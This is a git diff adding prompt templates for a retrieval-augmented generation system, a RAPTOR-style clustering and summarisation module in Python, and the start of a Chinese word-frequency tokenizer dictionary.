Step Completion Check + - Which planned steps were completed? (List verified items) + - Which steps are pending/incomplete? (Specify exactly what's missing) + +### 3. Information Adequacy + - Is the collected data sufficient to proceed? + - What key information is still needed? (e.g., metrics, user input, external data) + +### 4. Critical Observations + - Unexpected outcomes: [Flag anomalies/errors] + - Risks/blockers: [Identify immediate obstacles] + - Accuracy concerns: [Highlight unreliable results] + +### 5. Next-Step Recommendations + - Proposed immediate action: [Concrete next step] + - Alternative strategies if blocked: [Workaround solution] + - Tools/inputs required for next phase: [Specify resources] + +--- + +**Output Instructions:** +1. First determine your complexity score +2. Assess if task transmission section is needed using the evaluation questions +3. Provide situational reflection with length appropriate to complexity +4. Use clear headers for easy parsing by downstream systems diff --git a/rag/prompts/related_question.md b/rag/prompts/related_question.md new file mode 100644 index 0000000..cbed74e --- /dev/null +++ b/rag/prompts/related_question.md @@ -0,0 +1,55 @@ +# Role +You are an AI language model assistant tasked with generating **5-10 related questions** based on a user’s original query. +These questions should help **expand the search query scope** and **improve search relevance**. + +--- + +## Instructions + +**Input:** +You are provided with a **user’s question**. + +**Output:** +Generate **5-10 alternative questions** that are **related** to the original user question. +These alternatives should help retrieve a **broader range of relevant documents** from a vector database. + +**Context:** +Focus on **rephrasing** the original question in different ways, ensuring the alternative questions are **diverse but still connected** to the topic of the original query. +Do **not** create overly obscure, irrelevant, or unrelated questions. + +**Fallback:** +If you cannot generate any relevant alternatives, do **not** return any questions. + +--- + +## Guidance + +1. Each alternative should be **unique** but still **relevant** to the original query. +2. Keep the phrasing **clear, concise, and easy to understand**. +3. Avoid overly technical jargon or specialized terms **unless directly relevant**. +4. Ensure that each question **broadens** the search angle, **not narrows** it. + +--- + +## Example + +**Original Question:** +> What are the benefits of electric vehicles? + +**Alternative Questions:** +1. How do electric vehicles impact the environment? +2. What are the advantages of owning an electric car? +3. What is the cost-effectiveness of electric vehicles? +4. How do electric vehicles compare to traditional cars in terms of fuel efficiency? +5. What are the environmental benefits of switching to electric cars? +6. How do electric vehicles help reduce carbon emissions? +7. Why are electric vehicles becoming more popular? +8. What are the long-term savings of using electric vehicles? +9. How do electric vehicles contribute to sustainability? +10. What are the key benefits of electric vehicles for consumers? + +--- + +## Reason +Rephrasing the original query into multiple alternative questions helps the user explore **different aspects** of their search topic, improving the **quality of search results**. +These questions guide the search engine to provide a **more comprehensive set** of relevant documents. diff --git a/rag/prompts/summary4memory.md b/rag/prompts/summary4memory.md new file mode 100644 index 0000000..eb0f283 --- /dev/null +++ b/rag/prompts/summary4memory.md @@ -0,0 +1,35 @@ +**Role**: AI Assistant +**Task**: Summarize tool call responses +**Rules**: +1. Context: You've executed a tool (API/function) and received a response. +2. Condense the response into 1-2 short sentences. +3. Never omit: + - Success/error status + - Core results (e.g., data points, decisions) + - Critical constraints (e.g., limits, conditions) +4. Exclude technical details like timestamps/request IDs unless crucial. +5. Use language as the same as main content of the tool response. + +**Response Template**: +"[Status] + [Key Outcome] + [Critical Constraints]" + +**Examples**: +🔹 Tool Response: +{"status": "success", "temperature": 78.2, "unit": "F", "location": "Tokyo", "timestamp": 16923456} +→ Summary: "Success: Tokyo temperature is 78°F." + +🔹 Tool Response: +{"error": "invalid_api_key", "message": "Authentication failed: expired key"} +→ Summary: "Error: Authentication failed (expired API key)." + +🔹 Tool Response: +{"available": true, "inventory": 12, "product": "widget", "limit": "max 5 per customer"} +→ Summary: "Available: 12 widgets in stock (max 5 per customer)." + +**Your Turn**: + - Tool call: {{ name }} + - Tool inputs as following: +{{ params }} + + - Tool Response: +{{ result }} \ No newline at end of file diff --git a/rag/prompts/template.py b/rag/prompts/template.py new file mode 100644 index 0000000..654e71c --- /dev/null +++ b/rag/prompts/template.py @@ -0,0 +1,20 @@ +import os + + +PROMPT_DIR = os.path.dirname(__file__) + +_loaded_prompts = {} + + +def load_prompt(name: str) -> str: + if name in _loaded_prompts: + return _loaded_prompts[name] + + path = os.path.join(PROMPT_DIR, f"{name}.md") + if not os.path.isfile(path): + raise FileNotFoundError(f"Prompt file '{name}.md' not found in prompts/ directory.") + + with open(path, "r", encoding="utf-8") as f: + content = f.read().strip() + _loaded_prompts[name] = content + return content diff --git a/rag/prompts/toc_detection.md b/rag/prompts/toc_detection.md new file mode 100644 index 0000000..29e068a --- /dev/null +++ b/rag/prompts/toc_detection.md @@ -0,0 +1,29 @@ +You are an AI assistant designed to analyze text content and detect whether a table of contents (TOC) list exists on the given page. Follow these steps: + +1. **Analyze the Input**: Carefully review the provided text content. +2. **Identify Key Features**: Look for common indicators of a TOC, such as: + - Section titles or headings paired with page numbers. + - Patterns like repeated formatting (e.g., bold/italicized text, dots/dashes between titles and numbers). + - Phrases like "Table of Contents," "Contents," or similar headings. + - Logical grouping of topics/subtopics with sequential page references. +3. **Discern Negative Features**: + - The text contains no numbers, or the numbers present are clearly not page references (e.g., dates, statistical figures, phone numbers, version numbers). + - The text consists of full, descriptive sentences and paragraphs that form a narrative, present arguments, or explain concepts, rather than succinctly listing topics. + - Contains citations with authors, publication years, journal titles, and page ranges (e.g., "Smith, J. (2020). Journal Title, 10(2), 45-67."). + - Lists keywords or terms followed by multiple page numbers, often in alphabetical order. + - Comprises terms followed by their definitions or explanations. + - Labeled with headers like "Appendix A," "Appendix B," etc. + - Contains expressive language thanking individuals or organizations for their support or contributions. +4. **Evaluate Evidence**: Weigh the presence/absence of these features to determine if the content resembles a TOC. +5. **Output Format**: Provide your response in the following JSON structure: + ```json + { + "reasoning": "Step-by-step explanation of your analysis based on the features identified." , + "exists": true/false + } + ``` +6. **DO NOT** output anything else except JSON structure. + +**Input text Content ( Text-Only Extraction ):** +{{ page_txt }} + diff --git a/rag/prompts/toc_extraction.md b/rag/prompts/toc_extraction.md new file mode 100644 index 0000000..02e1d03 --- /dev/null +++ b/rag/prompts/toc_extraction.md @@ -0,0 +1,53 @@ +You are an expert parser and data formatter. Your task is to analyze the provided table of contents (TOC) text and convert it into a valid JSON array of objects. + +**Instructions:** +1. Analyze each line of the input TOC. +2. For each line, extract the following three pieces of information: + * `structure`: The hierarchical index/numbering (e.g., "1", "2.1", "3.2.5", "A.1"). If a line has no visible numbering or structure indicator (like a main "Chapter" title), use `null`. + * `title`: The textual title of the section or chapter. This should be the main descriptive text, clean and without the page number. +3. Output **only** a valid JSON array. Do not include any other text, explanations, or markdown code block fences (like ```json) in your response. + +**JSON Format:** +The output must be a list of objects following this exact schema: +```json +[ + { + "structure": <structure index, "x.x.x" or None> (string）, + "title": <title of the section> + }, + ... +] +``` + +**Input Example:** +``` +Contents +1 Introduction to the System ... 1 +1.1 Overview .... 2 +1.2 Key Features .... 5 +2 Installation Guide ....8 +2.1 Prerequisites ........ 9 +2.2 Step-by-Step Process ........ 12 +Appendix A: Specifications ..... 45 +References ... 47 +``` + +**Expected Output For The Example:** +```json +[ + {"structure": null, "title": "Contents"}, + {"structure": "1", "title": "Introduction to the System"}, + {"structure": "1.1", "title": "Overview"}, + {"structure": "1.2", "title": "Key Features"}, + {"structure": "2", "title": "Installation Guide"}, + {"structure": "2.1", "title": "Prerequisites"}, + {"structure": "2.2", "title": "Step-by-Step Process"}, + {"structure": "A", "title": "Specifications"}, + {"structure": null, "title": "References"} +] +``` + +**Now, process the following TOC input:** +``` +{{ toc_page }} +``` \ No newline at end of file diff --git a/rag/prompts/toc_extraction_continue.md b/rag/prompts/toc_extraction_continue.md new file mode 100644 index 0000000..433ac68 --- /dev/null +++ b/rag/prompts/toc_extraction_continue.md @@ -0,0 +1,60 @@ +You are an expert parser and data formatter, currently in the process of building a JSON array from a multi-page table of contents (TOC). Your task is to analyze the new page of content and **append** the new entries to the existing JSON array. + +**Instructions:** +1. You will be given two inputs: + * `current_page_text`: The text content from the new page of the TOC. + * `existing_json`: The valid JSON array you have generated from the previous pages. +2. Analyze each line of the `current_page_text` input. +3. For each new line, extract the following three pieces of information: + * `structure`: The hierarchical index/numbering (e.g., "1", "2.1", "3.2.5"). Use `null` if none exists. + * `title`: The clean textual title of the section or chapter. + * `page`: The page number on which the section starts. Extract only the number. Use `null` if not present. +4. **Append these new entries** to the `existing_json` array. Do not modify, reorder, or delete any of the existing entries. +5. Output **only** the complete, updated JSON array. Do not include any other text, explanations, or markdown code block fences (like ```json). + +**JSON Format:** +The output must be a valid JSON array following this schema: +```json +[ + { + "structure": <string or null>, + "title": <string>, + "page": <number or null> + }, + ... +] +``` + +**Input Example:** +`current_page_text`: +``` +3.2 Advanced Configuration ........... 25 +3.3 Troubleshooting .................. 28 +4 User Management .................... 30 +``` + +`existing_json`: +```json +[ + {"structure": "1", "title": "Introduction", "page": 1}, + {"structure": "2", "title": "Installation", "page": 5}, + {"structure": "3", "title": "Configuration", "page": 12}, + {"structure": "3.1", "title": "Basic Setup", "page": 15} +] +``` + +**Expected Output For The Example:** +```json +[ + {"structure": "3.2", "title": "Advanced Configuration", "page": 25}, + {"structure": "3.3", "title": "Troubleshooting", "page": 28}, + {"structure": "4", "title": "User Management", "page": 30} +] +``` + +**Now, process the following inputs:** +`current_page_text`: +{{ toc_page }} + +`existing_json`: +{{ toc_json }} \ No newline at end of file diff --git a/rag/prompts/toc_from_text_system.md b/rag/prompts/toc_from_text_system.md new file mode 100644 index 0000000..f982df4 --- /dev/null +++ b/rag/prompts/toc_from_text_system.md @@ -0,0 +1,113 @@ +You are a robust Table-of-Contents (TOC) extractor. + +GOAL +Given a dictionary of chunks {chunk_id: chunk_text}, extract TOC-like headings and return a strict JSON array of objects: +[ + {"title": , "content": ""}, + ... +] + +FIELDS +- "title": the heading text (clean, no page numbers or leader dots). + - If any part of a chunk has no valid heading, output that part as {"title":"-1", ...}. +- "content": the chunk_id (string). + - One chunk can yield multiple JSON objects in order (unmatched text + one or more headings). + +RULES +1) Preserve input chunk order strictly. +2) If a chunk contains multiple headings, expand them in order: + - Pre-heading narrative → {"title":"-1","content":chunk_id} + - Then each heading → {"title":"...","content":chunk_id} +3) Do not merge outputs across chunks; each object refers to exactly one chunk_id. +4) "title" must be non-empty (or exactly "-1"). "content" must be a string (chunk_id). +5) When ambiguous, prefer "-1" unless the text strongly looks like a heading. + +HEADING DETECTION (cues, not hard rules) +- Appears near line start, short isolated phrase, often followed by content. +- May contain separators: — —— - : ： · • +- Numbering styles: + • 第[一二三四五六七八九十百]+(篇|章|节|条) + • [(（]?[一二三四五六七八九十]+[)）]? + • [(（]?[①②③④⑤⑥⑦⑧⑨⑩][)）]? + • ^\d+(\.\d+)*[)．.]?\s* + • ^[IVXLCDM]+[).] + • ^[A-Z][).] +- Canonical section cues (general only): + Common heading indicators include words such as: + "Overview", "Introduction", "Background", "Purpose", "Scope", "Definition", + "Method", "Procedure", "Result", "Discussion", "Summary", "Conclusion", + "Appendix", "Reference", "Annex", "Acknowledgment", "Disclaimer". + These are soft cues, not strict requirements. +- Length restriction: + • Chinese heading: ≤25 characters + • English heading: ≤80 characters +- Exclude long narrative sentences, continuous prose, or bullet-style lists → output as "-1". + +OUTPUT FORMAT +- Return ONLY a valid JSON array of {"title","content"} objects. +- No reasoning or commentary. + +EXAMPLES + +Example 1 — No heading +Input: +{0: "Copyright page · Publication info (ISBN 123-456). All rights reserved."} +Output: +[ + {"title":"-1","content":"0"} +] + +Example 2 — One heading +Input: +{1: "Chapter 1: General Provisions This chapter defines the overall rules…"} +Output: +[ + {"title":"Chapter 1: General Provisions","content":"1"} +] + +Example 3 — Narrative + heading +Input: +{2: "This paragraph introduces the background and goals. Section 2: Definitions Key terms are explained…"} +Output: +[ + {"title":"-1","content":"2"}, + {"title":"Section 2: Definitions","content":"2"} +] + +Example 4 — Multiple headings in one chunk +Input: +{3: "Declarations and Commitments (I) Party B commits… (II) Party C commits… Appendix A Data Specification"} +Output: +[ + {"title":"Declarations and Commitments (I)","content":"3"}, + {"title":"(II)","content":"3"}, + {"title":"Appendix A","content":"3"} +] + +Example 5 — Numbering styles +Input: +{4: "1. Scope: Defines boundaries. 2) Definitions: Terms used. III) Methods Overview."} +Output: +[ + {"title":"1. Scope","content":"4"}, + {"title":"2) Definitions","content":"4"}, + {"title":"III) Methods","content":"4"} +] + +Example 6 — Long list (NOT headings) +Input: +{5: "Item list: apples, bananas, strawberries, blueberries, mangos, peaches"} +Output: +[ + {"title":"-1","content":"5"} +] + +Example 7 — Mixed Chinese/English +Input: +{6: "（出版信息略）This standard follows industry practices. Chapter 1: Overview 摘要… 第2节：术语与缩略语"} +Output: +[ + {"title":"-1","content":"6"}, + {"title":"Chapter 1: Overview","content":"6"}, + {"title":"第2节：术语与缩略语","content":"6"} +] diff --git a/rag/prompts/toc_from_text_user.md b/rag/prompts/toc_from_text_user.md new file mode 100644 index 0000000..952d8ef --- /dev/null +++ b/rag/prompts/toc_from_text_user.md @@ -0,0 +1,8 @@ +OUTPUT FORMAT +- Return ONLY the JSON array. +- Use double quotes. +- No extra commentary. +- Keep language of "title" the same as the input. + +INPUT +{{text}} diff --git a/rag/prompts/toc_index.md b/rag/prompts/toc_index.md new file mode 100644 index 0000000..860356d --- /dev/null +++ b/rag/prompts/toc_index.md @@ -0,0 +1,20 @@ +You are an expert analyst tasked with matching text content to the title. + +**Instructions:** +1. Analyze the given title with its numeric structure index and the provided text. +2. Determine whether the title is mentioned as a section tile in the given text. +3. Provide a concise, step-by-step reasoning for your decision. +4. Output **only** the complete JSON object. Do not include any other text, explanations, or markdown code block fences (like ```json). + +**Output Format:** +Your output must be a valid JSON object with the following keys: +{ +"reasoning": "Step-by-step explanation of your analysis.", +"exist": "<yes or no>", +} + +** The title: ** +{{ structure }} {{ title }} + +** Given text: ** +{{ text }} \ No newline at end of file diff --git a/rag/prompts/tool_call_summary.md b/rag/prompts/tool_call_summary.md new file mode 100644 index 0000000..b1c77dd --- /dev/null +++ b/rag/prompts/tool_call_summary.md @@ -0,0 +1,19 @@ +**Task Instruction:** + +You are tasked with reading and analyzing tool call result based on the following inputs: **Inputs for current call**, and **Results**. Your objective is to extract relevant and helpful information for **Inputs for current call** from the **Results** and seamlessly integrate this information into the previous steps to continue reasoning for the original question. + +**Guidelines:** + +1. **Analyze the Results:** + - Carefully review the content of each results of tool call. + - Identify factual information that is relevant to the **Inputs for current call** and can aid in the reasoning process for the original question. + +2. **Extract Relevant Information:** + - Select the information from the Searched Web Pages that directly contributes to advancing the previous reasoning steps. + - Ensure that the extracted information is accurate and relevant. + + - **Inputs for current call:** + {{ inputs }} + + - **Results:** + {{ results }} diff --git a/rag/prompts/vision_llm_describe_prompt.md b/rag/prompts/vision_llm_describe_prompt.md new file mode 100644 index 0000000..8800703 --- /dev/null +++ b/rag/prompts/vision_llm_describe_prompt.md @@ -0,0 +1,23 @@ +## INSTRUCTION +Transcribe the content from the provided PDF page image into clean Markdown format. + +- Only output the content transcribed from the image. +- Do NOT output this instruction or any other explanation. +- If the content is missing or you do not understand the input, return an empty string. + +## RULES +1. Do NOT generate examples, demonstrations, or templates. +2. Do NOT output any extra text such as 'Example', 'Example Output', or similar. +3. Do NOT generate any tables, headings, or content that is not explicitly present in the image. +4. Transcribe content word-for-word. Do NOT modify, translate, or omit any content. +5. Do NOT explain Markdown or mention that you are using Markdown. +6. Do NOT wrap the output in ```markdown or ``` blocks. +7. Only apply Markdown structure to headings, paragraphs, lists, and tables, strictly based on the layout of the image. Do NOT create tables unless an actual table exists in the image. +8. Preserve the original language, information, and order exactly as shown in the image. + +{% if page %} +At the end of the transcription, add the page divider: `--- Page {{ page }} ---`. +{% endif %} + +> If you do not detect valid content in the image, return an empty string. + diff --git a/rag/prompts/vision_llm_figure_describe_prompt.md b/rag/prompts/vision_llm_figure_describe_prompt.md new file mode 100644 index 0000000..7e52856 --- /dev/null +++ b/rag/prompts/vision_llm_figure_describe_prompt.md @@ -0,0 +1,24 @@ +## ROLE +You are an expert visual data analyst. + +## GOAL +Analyze the image and provide a comprehensive description of its content. Focus on identifying the type of visual data representation (e.g., bar chart, pie chart, line graph, table, flowchart), its structure, and any text captions or labels included in the image. + +## TASKS +1. Describe the overall structure of the visual representation. Specify if it is a chart, graph, table, or diagram. +2. Identify and extract any axes, legends, titles, or labels present in the image. Provide the exact text where available. +3. Extract the data points from the visual elements (e.g., bar heights, line graph coordinates, pie chart segments, table rows and columns). +4. Analyze and explain any trends, comparisons, or patterns shown in the data. +5. Capture any annotations, captions, or footnotes, and explain their relevance to the image. +6. Only include details that are explicitly present in the image. If an element (e.g., axis, legend, or caption) does not exist or is not visible, do not mention it. + +## OUTPUT FORMAT (Include only sections relevant to the image content) +- Visual Type: [Type] +- Title: [Title text, if available] +- Axes / Legends / Labels: [Details, if available] +- Data Points: [Extracted data] +- Trends / Insights: [Analysis and interpretation] +- Captions / Annotations: [Text and relevance, if available] + +> Ensure high accuracy, clarity, and completeness in your analysis, and include only the information present in the image. Avoid unnecessary statements about missing elements. + diff --git a/rag/raptor.py b/rag/raptor.py new file mode 100644 index 0000000..6ce776a --- /dev/null +++ b/rag/raptor.py @@ -0,0 +1,181 @@ +# +# Copyright 2024 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +import logging +import re +import umap +import numpy as np +from sklearn.mixture import GaussianMixture +import trio + +from api.utils.api_utils import timeout +from graphrag.utils import ( + get_llm_cache, + get_embed_cache, + set_embed_cache, + set_llm_cache, + chat_limiter, +) +from rag.utils import truncate + + +class RecursiveAbstractiveProcessing4TreeOrganizedRetrieval: + def __init__( + self, max_cluster, llm_model, embd_model, prompt, max_token=512, threshold=0.1 + ): + self._max_cluster = max_cluster + self._llm_model = llm_model + self._embd_model = embd_model + self._threshold = threshold + self._prompt = prompt + self._max_token = max_token + + @timeout(60*20) + async def _chat(self, system, history, gen_conf): + response = await trio.to_thread.run_sync( + lambda: get_llm_cache(self._llm_model.llm_name, system, history, gen_conf) + ) + + if response: + return response + response = await trio.to_thread.run_sync( + lambda: self._llm_model.chat(system, history, gen_conf) + ) + response = re.sub(r"^.*</think>", "", response, flags=re.DOTALL) + if response.find("**ERROR**") >= 0: + raise Exception(response) + await trio.to_thread.run_sync( + lambda: set_llm_cache(self._llm_model.llm_name, system, response, history, gen_conf) + ) + return response + + @timeout(20) + async def _embedding_encode(self, txt): + response = await trio.to_thread.run_sync( + lambda: get_embed_cache(self._embd_model.llm_name, txt) + ) + if response is not None: + return response + embds, _ = await trio.to_thread.run_sync(lambda: self._embd_model.encode([txt])) + if len(embds) < 1 or len(embds[0]) < 1: + raise Exception("Embedding error: ") + embds = embds[0] + await trio.to_thread.run_sync(lambda: set_embed_cache(self._embd_model.llm_name, txt, embds)) + return embds + + def _get_optimal_clusters(self, embeddings: np.ndarray, random_state: int): + max_clusters = min(self._max_cluster, len(embeddings)) + n_clusters = np.arange(1, max_clusters) + bics = [] + for n in n_clusters: + gm = GaussianMixture(n_components=n, random_state=random_state) + gm.fit(embeddings) + bics.append(gm.bic(embeddings)) + optimal_clusters = n_clusters[np.argmin(bics)] + return optimal_clusters + + async def __call__(self, chunks, random_state, callback=None): + if len(chunks) <= 1: + return [] + chunks = [(s, a) for s, a in chunks if s and len(a) > 0] + layers = [(0, len(chunks))] + start, end = 0, len(chunks) + + @timeout(60*20) + async def summarize(ck_idx: list[int]): + nonlocal chunks + texts = [chunks[i][0] for i in ck_idx] + len_per_chunk = int( + (self._llm_model.max_length - self._max_token) / len(texts) + ) + cluster_content = "\n".join( + [truncate(t, max(1, len_per_chunk)) for t in texts] + ) + async with chat_limiter: + cnt = await self._chat( + "You're a helpful assistant.", + [ + { + "role": "user", + "content": self._prompt.format( + cluster_content=cluster_content + ), + } + ], + {"max_tokens": self._max_token}, + ) + cnt = re.sub( + "(······\n由于长度的原因，回答被截断了，要继续吗？|For the content length reason, it stopped, continue?)", + "", + cnt, + ) + logging.debug(f"SUM: {cnt}") + embds = await self._embedding_encode(cnt) + chunks.append((cnt, embds)) + + labels = [] + while end - start > 1: + embeddings = [embd for _, embd in chunks[start:end]] + if len(embeddings) == 2: + await summarize([start, start + 1]) + if callback: + callback( + msg="Cluster one layer: {} -> {}".format( + end - start, len(chunks) - end + ) + ) + labels.extend([0, 0]) + layers.append((end, len(chunks))) + start = end + end = len(chunks) + continue + + n_neighbors = int((len(embeddings) - 1) ** 0.8) + reduced_embeddings = umap.UMAP( + n_neighbors=max(2, n_neighbors), + n_components=min(12, len(embeddings) - 2), + metric="cosine", + ).fit_transform(embeddings) + n_clusters = self._get_optimal_clusters(reduced_embeddings, random_state) + if n_clusters == 1: + lbls = [0 for _ in range(len(reduced_embeddings))] + else: + gm = GaussianMixture(n_components=n_clusters, random_state=random_state) + gm.fit(reduced_embeddings) + probs = gm.predict_proba(reduced_embeddings) + lbls = [np.where(prob > self._threshold)[0] for prob in probs] + lbls = [lbl[0] if isinstance(lbl, np.ndarray) else lbl for lbl in lbls] + + async with trio.open_nursery() as nursery: + for c in range(n_clusters): + ck_idx = [i + start for i in range(len(lbls)) if lbls[i] == c] + assert len(ck_idx) > 0 + nursery.start_soon(summarize, ck_idx) + + assert len(chunks) - end == n_clusters, "{} vs. {}".format( + len(chunks) - end, n_clusters + ) + labels.extend(lbls) + layers.append((end, len(chunks))) + if callback: + callback( + msg="Cluster one layer: {} -> {}".format( + end - start, len(chunks) - end + ) + ) + start = end + end = len(chunks) + + return chunks diff --git a/rag/res/huqie.txt b/rag/res/huqie.txt new file mode 100644 index 0000000..d6e0971 --- /dev/null +++ b/rag/res/huqie.txt @@ -0,0 +1,555629 @@ +金童云商 3 nr +青禾服装 3 nr +救济灾民 3 l +左移 17 nr +低速 176 d +雨果网 3 nr +钢小二 3 nr +第五项 23 m +铸排机 7 n +金淳高分子 3 nr +麦门冬汤 2 nr +错位 105 n +佰特吉姆 3 nr +楼体 3 n +展美科技 3 nr +中寮 3 ns +贪官汙吏 3 n +掩蔽部 10 n +海宏智能 3 nr +中寰 3 nr +万次 85 m +领星资本 3 nr +肯讯 3 nr +坎肩 27 n +爱农人 3 nr +易美餐 3 nr +寸丝半粟 3 i +罗丹萍 2 nr +转导物 3 n +泊寓 3 nr +万欧 3 nr +友聚惠 3 nr +舞牙弄爪 3 i +上海致上 3 nr +迪因加 3 nr +李正茂 4 nr +君来投 3 nr +双掌空 2 nr +浩石 3 nr +云阅文学 3 nr +阿斯帕 2 nr +中导 3 n +以诚相待 16 i +中融金服 3 nr +尚股网 3 nr +叶立钦 4 nr +新信钱包 3 nr +赛苏投资 3 nr +售价 311 n +帮医网 3 nr +以诺康医疗 3 nr +衙门作风 3 n +点音教育 3 nr +淘赚点 3 nr +网银 3 nr +空智神 6 nr +玉髓 3 n +塞擦音 11 n +华投金融 3 nr +刘仲武 15 nr +皆佳 3 nrt +芯思杰 3 nr +向心法则 3 n +行秀 3 nr +武林大会 3 nt +历史学家 397 n +瘴气 60 n +网链 3 nr +楼佳 3 nr +2号 3 nr +王之栋 4 nr +餐台椅 3 n +书画院 3 n +怨气满腹 3 i +北京东方 3 ns +同轴天线 3 nz +人见人爱 3 l +苛全 3 a +赛姆斯 4 nr +焦干 3 n +便辞巧说 3 i +目坤众创空间 3 nr +点石电商 3 nr +犀牛直聘 3 nr +海道南 2 ns +玉皇庙 5 nr +敬金装潢 3 nr +硕贝德 3 nr +千川门窗 3 nr +京西北 3 nr +赵秉钧 147 nr +浙商大 3 nr +速美仁医 3 nr +纳电子 3 nr +骏智鹏博 3 nr +颠末 3 n +海狸家 3 nr +点都软件 3 nr +执迷不返 3 l +无终 3 d +潮人体育 3 nr +/雾隐美地 3 nr +不止少年 3 nr +青海地区 10 ns +收放自如 3 i +安升医药 3 nr +向风针 3 nr +求死不能 3 i +独特型 3 b +匿料 3 n +释道安 3 nr +阿几米德 3 nr +古铜色 27 n +作践 87 v +陈荣生 2 nr +杨伯翰 2 nr +华章数据 3 nr +汇畅网 3 nr +曲集 15 n +@创 3 nr +九胜科技 3 nr +颌间挛缩 3 n +西梁女 3 nr +龙口市 15 ns +富客智选 3 nr +渤海报关 3 nr +明城置业 3 nr +鑫牛立 3 nr +移商 3 nr +孟什维克 51 nrt +型尚 3 nr +线性组合 3 l +房型图 3 n +润发 3 nr +程英忽 4 nr +无绝 3 v +羚羊兔 3 nr +自分 3 d +文搏 3 nr +跨脚而过 3 l +稞麦 3 n +曹任西 2 nr +温控仪 3 n +智商测验 3 n +朴贊郁 3 z +揣时度力 3 v +自刎 241 v +融拓科技 3 nr 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nr +狮之网 3 nr +深禾运输 3 nr +啊啊啊 3 nr +背褡子 3 n +一道网 3 nr +斯万 26 nrt +龙创艺文化 3 nr +瀚恒信息 3 nr +特务组织 3 nt +变相加价 3 n +拼凑出 3 vn +兔儿爷 13 n +男儿身 3 n +技贸 3 n +兑泰 3 nr +周学源 4 nr +哈密市 7 ns +吐鲁番 250 ns +济海医疗 3 nr +白国豪 2 nr +世侄 3 n +慧眼防拍 3 nr +海豹电竞 3 nr +寰联网络 3 nr +快船队 3 n +国家信息中心 13 nt +必特自动化 3 nr +颇为费解 3 l +评卷 36 n +手肘 129 n +改岁 3 vn +苏香世家 3 nr +飞信通达 3 nr +华颂 3 nr +识时通变 3 l +胞肓 3 n +松禾教育 3 nr +启梦 3 nr +占廷皇帝 18 nr +键控 10 b +斯世 3 nrt +魔力时间 3 nr +华领 3 nr +大相岭 3 nr +林务员 3 n +商州市 6 ns +日月重光 3 nz +肾炎 144 n +华颉 3 nr +鹅岭 2 ns +空有形式 3 l +鼓噪 184 v +江督袁 3 nr +仁丹 9 nr +视黄醇 3 n +红日西 5 nr +马戏 28 n +中航奥特 3 nr +秉性 150 n +喷雾剂 9 nz +致良知 3 nr +狼心狗行 3 i +沃尔弗 18 nr +成仁取义 3 nr +水熊 3 nr +虫媒病毒 3 n +启梵 3 nr +标志灯 3 n +小鼓手 3 n +近脉 3 nr +荣意 3 nr +裙房 3 n +布莱尔港 5 ns +戏头条 3 nr +沙滩 993 nr +马战 12 nz +小灵狗出行 3 nr +板纸 3 n +古语词 3 n +小栖家 3 nr +天健恒益机电 3 nr +伊柯夫 3 nr +惟妙惟肖 49 i +到鸟 3 nr +中控研究院 3 nr +枝生节外 3 i +爱剑如 2 nr +车易购汽车 3 nr +433球彩网 3 nr +平水韵 3 nr +卯足了劲 3 i +道刻斯 3 nr +秦安机电 3 nr +盖世无匹 3 nr +章武电子 3 nr +视黄醛 3 n +宗废太子 2 nr +唐初亦 3 nr +回馈性 3 n +雨萱 3 nr +思博网 3 nr +泉思 3 nr +琳云 3 nr +踺子 5 n +库斯科 46 nrt +赫食餐饮 3 nr +宝成线 2 nz +春菇 3 n +居舍 3 n +世侯 2 n +金致车联 3 nr +美溪区 3 ns +岩穴之土 3 i +润雅信息 3 nr +墙纸秀 3 nr +脱气 8 v +巽他群岛 21 ns +安怀信 3 nr +套圈 5 n +昆成新材料 3 nr +苯乙酮 8 nz +罪责难逃 5 i +丰能环保 3 nr +维修策略 3 n +方塔园 2 nr +数迹智能 3 nr +团坐 3 v +开花 396 n +兴格 3 nr +桑普拉斯 15 nrt +同聚物 3 n +勃兰登堡门 35 ns +居舜 3 nr +诏安 6 ns +泰泽齐牛 3 nr +生病 469 n +欢若平生 3 i +角球 169 n +滴水成河 3 nz +脱氢 79 v +贯家堡村 3 n +团块 24 n +有备而来 47 l +一百零九个 2 m +和和 3 nr +跨无忧 3 nr +隋珠弹雀 3 ns +苯乙酸 4 nz +制片线 3 nr +文韬武略 9 nr +豪精机电 3 nr +亡国大夫 3 n +攀龙讬凤 3 ns +该段 30 r +为己 3 nr +脱氧 73 v +蹄子 296 n +马房 9 n +车之窝 3 nr +科迅网络 3 nr +脱氨 3 n +撞起 3 v +曲桑寺 3 nr +长沙 2708 ns +展拓 8 v +华放新 3 nr +芸投 3 nr +扯不上 3 v +未来美业 3 nr +童程童美 3 nr +长沟 3 ns +俏成俏败 3 n +管式 38 n +展招 3 nr +利加洲 6 ns +逐名趋势 3 l +肌联蛋白 3 n +天赋异柄 3 i +百年战争 3 nz +梅列区 3 ns +数统教育 3 nr +蘑菇云 33 nz +比率智商 3 nr +脱水 239 v +新闻简报 3 i +摩鸣科技 3 nr +奇白 3 v +凑合 217 v +熊大人 15 nr +号星 3 nr +建筑设计 15 n +绘圣科技 3 nr +智购猫 3 nr +大晶 3 nr +诺嘉电器 3 nr +小跑步 3 n +两对半 11 m +皓凡 3 nr +爱熠通 3 nr +熊样儿 2 nr +响马党羽 3 n +快步向前 3 nr +金融学院 3 n +加惠 33 vn +大智 3 nr +陆缘地 2 n +振洲科技 3 nr +林子娟 3 nrfg +我的官网 3 nr +埃莱阿 2 nr +萨摩耶 3 nr +多米游 3 nr +荣之誉 3 nr +普加乔夫 8 nrt +商务区 5 nt +宝妈小助手 3 nr +长河 537 ns +生态系统 3 l +桁桷 3 n +职位 2478 n +撒克逊人 3 nrt +科巧软件 3 nr +美翔震业 3 nr +毕师铎 7 nr +管弦 36 n +泼尼松 3 n +既有今日 4 i +家具市场 3 n +当游 3 nr +真相毕露 3 i +郭燕杰 2 nr +倾盆而降 2 i +奥商 3 nr +于庆历 2 nr +珠江三角洲 154 ns +北洋政府 578 nt +泽怡科技 3 nr +长治 103 n +富国 78 ns +歪念头 3 n +朱氏 3 nr +手绘鞋 3 n +韩春霖 13 nr +躲藏处 3 l +温室群 3 nr +联纵传媒 3 nr +泰华信 3 nr +焦得布 2 nr +惟锐科技 3 nr +保标招标 3 nr +e栈多 3 nr +星咖 3 nr +分散化 10 n +二手楼 6 